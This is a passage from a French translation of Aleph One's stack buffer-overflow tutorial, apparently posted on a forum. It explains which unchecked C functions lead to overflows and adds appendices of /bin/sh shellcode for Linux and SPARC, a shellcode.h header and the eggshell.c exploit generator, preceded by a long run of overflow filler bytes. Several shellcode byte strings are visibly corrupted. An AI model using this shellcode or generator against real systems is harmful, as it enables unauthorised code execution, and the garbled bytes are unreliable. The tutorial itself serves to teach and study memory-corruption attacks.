    ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°








    ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿








    °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ








    ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








    ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°








    ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿° ¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿








    °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿ °¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ








    ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








    ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿








    °¤ÿ¿°¤ÿ¿°¤
    Warning: some arguments in previous message were lost
    $
    ------------------------------------------------------------------------------

    Du premier coup! Nous avons fait grimper nos chances. Selon la quantité de
    données d'environnement que le programme exploité a comparé avec celui que
    l'on essaie d'exploiter, l'adresse peut être trop proche ou trop lointaine.
    Essayez donc avec des offsets positifs et négatifs.


    Trouver des Buffer Overflows
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Comme précisé précédemment, les buffer overflows résultent d'une tentative
    d'introduction de plus d'informations dans un buffer que celui-ci ne peut en
    contenir. C ne contient pas de vérification de taille automatique, les
    overflows se manifestent donc souvent sous la forme d'une écriture après la
    fin d'une array de caractères. La bibliothèque standard de C fournit un bon
    nombre de fonctions pour copier ou concaténer des chaînes, qui ne vérifient
    pas les limites. C'est le cas de: strcat(), strcpy(), sprintf(), et vsprintf()
    Ces fonctions agissent sur des chaînes terminées par un caractère nul, et ne
    vérifient pas l'éventuel débordement de la chaîne cible. gets() est une
    fonction qui lit une ligne à partir du stdin dans un buffer, jusqu'à lire un
    caractère de nouvelle ligne ou EOF. Elle ne vérifie pas non plus les buffer
    overflows éventuels. La famille scanf() peut aussi devenir problématique si
    vous la faites correspondre à une séquence de caractères sans espaces (%s),
    ou à une séquence de caractères non vide à partir d'un jeu spécifié (%[]),
    que l'array pointée par le char pointer n'est pas assez grande pour
    accepter la séquence entière de caractères, et que vous n'avez pas défini de
    taille maximale pour votre champ. Si la cible d'une de ces fonctions est un
    buffer à taille statique, et que son autre argument était dérivé de l'input
    de l'utilisateur, il y a de grandes chances pour que vous puissiez exploiter
    un buffer overflow.

    Une autre structure de programmation que l'on rencontre est l'utilisation
    d'une boucle while pour lire un caractère à la fois dans un buffer à partir
    de la stdin ou d'un fichier jusqu'à une fin de ligne, de fichier, ou quelque
    délimiteur que ce soit. Ce type de construction utilise fréquemment l'une de
    ces fonctions: getc(), fgetc(), or getchar(). S'il n'y a pas de vérification
    d'overflow dans la boucle while, de tels programmes sont facilement exploités.

    Pour conclure, grep(1) est votre ami. Ses sources pour les OS libres et ses
    utilitaires sont disponibles. Ceci devient intéressant lorsque vous réalisez
    que beaucoup d'applications commerciales pour les systèmes d'exploitation ont
    été dérivées des mêmes sources que les sources libres. "Use the source d00d".


    Appendice A - Shellcode pour Différents Operating Systems/Architectures
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    i386/Linux
    ------------------------------------------------------------------------------
    jmp 0x1f
    popl %esi
    movl %esi,0x8(%esi)
    xorl %eax,%eax
    movb %eax,0x7(%esi)
    movl %eax,0xc(%esi)
    movb $0xb,%al
    movl %esi,%ebx
    leal 0x8(%esi),%ecx
    leal 0xc(%esi),%edx
    int $0x80
    xorl %ebx,%ebx
    movl %ebx,%eax
    inc %eax
    int $0x80
    call -0x24
    .string \"/bin/sh\"
    ------------------------------------------------------------------------------

    SPARC/Solaris
    ------------------------------------------------------------------------------
    sethi 0xbd89a, %l6
    or %l6, 0x16e, %l6
    sethi 0xbdcda, %l7
    and %sp, %sp, %o0
    add %sp, 8, %o1
    xor %o2, %o2, %o2
    add %sp, 16, %sp
    std %l6, [%sp - 16]
    st %sp, [%sp - 8]
    st %g0, [%sp - 4]
    mov 0x3b, %g1
    ta 8
    xor %o7, %o7, %o0
    mov 1, %g1
    ta 8
    ------------------------------------------------------------------------------

    SPARC/SunOS
    ------------------------------------------------------------------------------
    sethi 0xbd89a, %l6
    or %l6, 0x16e, %l6
    sethi 0xbdcda, %l7
    and %sp, %sp, %o0
    add %sp, 8, %o1
    xor %o2, %o2, %o2
    add %sp, 16, %sp
    std %l6, [%sp - 16]
    st %sp, [%sp - 8]
    st %g0, [%sp - 4]
    mov 0x3b, %g1
    mov -0x1, %l5
    ta %l5 + 1
    xor %o7, %o7, %o0
    mov 1, %g1
    ta %l5 + 1
    ------------------------------------------------------------------------------


    Appendice B - Buffer Overflows Génériques
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    shellcode.h
    ------------------------------------------------------------------------------
    #if defined(__i386__) && defined(__linux__)

    #define NOP_SIZE 1
    char nop[] = "\x90";
    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\b\x89\8\x40\xcd"
    "\x80\xe8\c\xff\xff\xff/bin/sh";

    unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
    }

    #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

    #define NOP_SIZE 4
    char nop[]="\xac\x15\xa1\x6e";
    char shellcode[] =
    "\x2d\x0b\8\x9a\xac\x15\xa1\x6e\x2f\x0b\c\a\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\c\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\0\x20\x08";

    unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
    }

    #elif defined(__sparc__) && defined(__sun__)

    #define NOP_SIZE 4
    char nop[]="\xac\x15\xa1\x6e";
    char shellcode[] =
    "\x2d\x0b\8\x9a\xac\x15\xa1\x6e\x2f\x0b\c\a\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\c\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
    "\x91\5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\5\x60\x01";

    unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
    }

    #endif
    ------------------------------------------------------------------------------

    eggshell.c
    ------------------------------------------------------------------------------
    /*
    * eggshell v1.0
    *
    * Aleph One / [email protected]
    */
    #include <stdlib.h>
    #include <stdio.h>
    #include "shellcode.h"

    #define DEFAULT_OFFSET 0
    #define DEFAULT_BUFFER_SIZE 512
    #define DEFAULT_EGG_SIZE 2048

    void usage(void);

    void main(int argc, char *argv[]) {
    char *ptr, *bof, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

    while ((c = getopt(argc, argv, "a:b:e:")) != EOF)
    switch (c) {
    case 'a':
    align = atoi(optarg);
    break;
    case 'b':
    bsize = atoi(optarg);
    break;
    case 'e':
    eggsize = atoi(optarg);
    break;
    case 'o':
    offset = atoi(optarg);
    break;
    case '?':
    usage();
    exit(0);
    }

    if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
    }

    if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }
    if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
    }

    addr = get_sp() - offset;
    printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
    printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

    addr_ptr = (long *) bof;
    for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

    ptr = egg;
    for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
    m = (n + align) % NOP_SIZE;
    *(ptr++) = nop[m];
    }

    for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    bof[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4);
    putenv(egg);

    memcpy(bof,"BOF=",4);
    putenv(bof);
    system("/bin/sh");
    }

    void usage(void) {
    (void)fprintf(stderr,
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
    }
    ------------------------------------------------------------------------------

    ------------------------------------------------------------------------------
    Traduit par bidibulle: [email protected]
    ------------------------------------------------------------------------------
    Dernière modification par Mantra, 03 septembre 2011, 09h36.
    " Une teuf sans drogue c'est comme une levrette sans fessé, c'est quand même rare. "

    †|
Chargement...
X